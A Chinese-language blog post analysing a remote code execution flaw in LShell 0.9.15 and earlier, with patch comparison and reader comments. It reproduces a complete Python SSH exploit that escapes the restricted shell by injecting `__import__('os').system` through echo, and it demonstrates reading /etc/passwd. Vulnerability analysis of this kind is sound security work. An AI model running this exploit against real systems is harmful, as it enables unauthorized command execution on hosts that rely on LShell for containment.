LShell<=0.9.15远程代码执行漏洞

作者:k0shl 转载请注明出处:http://whereisk0shl.top

前两天博客域名由于实名制的问题无法访问,最近忙活了一下总算是搞定了,今天开始继续跟大家一起分享漏洞分析,也希望大家能继续支持我的博客,谢谢大家!


漏洞说明


软件下载:
https://sourceforge.net/projects/lshell/files/lshell/0.9.15/lshell-0.9.15.1.tar.gz/download

PoC:

import paramiko
import traceback
from time import sleep
 
#
# Exploit lshell pathing vulnerability in <= 0.9.15.
# Runs commands on the remote system.
# @dronesec
#
 
if len(sys.argv) < 4:
    print '%s: [USER] [PW] [IP] {opt: port}'%(sys.argv[0])
    sys.exit(1)
 
try:
    print '[!] .............................'
    print '[!] lshell <= 0.9.15 remote shell.'
    print '[!] note: you can also ssh in and execute \'/bin/bash\''
    print '[!] .............................'
    print '[!] Checking host %s...'%(sys.argv[3])
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    if len(sys.argv) == 5:
        ssh.connect(sys.argv[3],port=int(sys.argv[4]),username=sys.argv[1],password=sys.argv[2])
    else:
        ssh.connect(sys.argv[3],username=sys.argv[1],password=sys.argv[2])
 
 
    # verify lshell 
    channel = ssh.invoke_shell()
    while not channel.recv_ready(): sleep(1)
    ret = channel.recv(2048)
 
    channel.send('help help\n')
    while not channel.recv_ready(): sleep(1)
    ret = channel.recv(2048)
 
    if not 'lshell' in ret:
        if 'forbidden' in ret:
            print '[-] Looks like we can\'t execute SSH commands'
        else:
            print '[-] Environment is not lshell'
        sys.exit(1)
 
    # verify vulnerable version
    channel.send('sudo\n')
    while not channel.recv_ready(): sleep(1)
    ret = channel.recv(2048)
    if not 'Traceback' in ret:
        print '[-] lshell version not vulnerable.'
        sys.exit(1)
    channel.close()
    ssh.close()
 
    # exec shell
    print '[+] vulnerable lshell found, preparing pseudo-shell...'
    if len(sys.argv) == 5:
        ssh.connect(sys.argv[3],port=int(sys.argv[4]),username=sys.argv[1],password=sys.argv[2])
    else:
        ssh.connect(sys.argv[3],username=sys.argv[1],password=sys.argv[2])
 
    while True:
        cmd = raw_input('$ ')
 
        # breaks paramiko
        if cmd[0] is '/':
            print '[!] Running binaries won\'t work!'
            continue
 
        cmd = cmd.replace("'", r"\'")
        cmd = 'echo __import__(\'os\').system(\'%s\')'%(cmd.replace(' ',r'\t'))
        if len(cmd) > 1:
            if 'quit' in cmd or 'exit' in cmd:
                break
            (stdin,stdout,stderr) = ssh.exec_command(cmd)
        out = stdout.read()
        print out.strip()
except paramiko.AuthenticationException:
    print '[-] Authentication to %s failed.'%sys.argv[3]
except Exception, e:
    print '[-] Error: ', e
    print type(e)
    traceback.print_exc(file=sys.stdout)
finally:
    channel.close()
    ssh.close()

请直接运行poc,按照提示输入想执行的命令即可。


漏洞复现


LShell是Limit Shell的意思,是一款常用替换Shell的工具,用于保护Shell,通过chsh -s [LShell Path] root用于替换root用户的shell,这个工具用于限制Shell连接的命令执行权限,只能执行部分命令。

在这个工具中,由于对于echo后面命令的控制不够严格,导致可以通过调用python语法导致执行不可执行的命令,下面对此漏洞进行详细分析。

首先通过chsh命令,将root用户的shell替换成lshell,通过ssh连接主机,可以看到,部分命令是禁止执行的,比如cat命令,执行时会提示找不到命令。

这时运行lshell.py,这个poc会先检测lshell的版本,存在漏洞的版本,会提示输入命令,使用之前ssh后不能执行的cat命令,发现cat命令顺利执行了,并且/etc/passwd顺利回显。

接下来,我通过PoC,以及源代码,以及补丁对比对此漏洞进行详细的分析。


漏洞分析


首先观察一下PoC代码

 while True:
        cmd = raw_input('$ ')
 
        # breaks paramiko
        if cmd[0] is '/':
            print '[!] Running binaries won\'t work!'
            continue
 
        cmd = cmd.replace("'", r"\'")
        cmd = 'echo __import__(\'os\').system(\'%s\')'%(cmd.replace(' ',r'\t'))
        if len(cmd) > 1:
            if 'quit' in cmd or 'exit' in cmd:
                break
            (stdin,stdout,stderr) = ssh.exec_command(cmd)
        out = stdout.read()

可以看到,在exec_command执行前调用了一个组成cmd的关键部分,echo __import__('os').system('command'),发送的也是这个命令,那么接下来,通过ssh连接后,先输入cat命令,发现命令无法执行,然后为了验证PoC直接输入echo这个命令,发现cat命令执行了。

同样,我用FreeBSD搭建了一个补丁后的lshell环境,同样输入echo字符串,发现原先漏洞环境下可以执行的cat命令又不可执行了。

我获取了两个版本的lshell,通过对比,发现了这个漏洞的问题所在,首先来看一下漏洞之前的部分。

def check_secure(self, line, strict=None, ssh=None):

check_secure函数用于限制可执行的命令,在这里会对shell连接后执行命令的内容进行检测。

if command not in self.conf['allowed'] and command:
                if strict:
                    if not ssh:
                        self.counter_update('command', line)
                else:
                    self.log.critical('*** unknown command: %s' %command)
                return 1
        return 0
   

如果这个命令,不在allowed文件中的话,则会回显找不到命令,接下来会有一处处理echo命令的部分。

 p = subprocess.Popen( "`which echo` %s" % item,
                                      shell=True,
                                      stdin=subprocess.PIPE,
                                      stdout=subprocess.PIPE )
                (cin, cout) = (p.stdin, p.stdout)
   

这里之后会执行echo命令,可以看到从这里到执行,没有任何地方对echo后面的命令进行判断,而是直接执行,并输出结果,接下来看一下补丁后的对比情况。

可以看到,在更新后的lshell中的echo部分,添加了一个Exception,如果出现问题,则会结束echo的执行,从而不会执行echo命令的部分,因此在上面图中,会看到直接报错,而之前,会先执行命令,然后报错。

Comments
Write a Comment
  • 水一波 混个脸熟 会被打么 捂脸

    • K0Pwn_0110 reply

      @时间守望者 2333,不会的,感谢对我博客的支持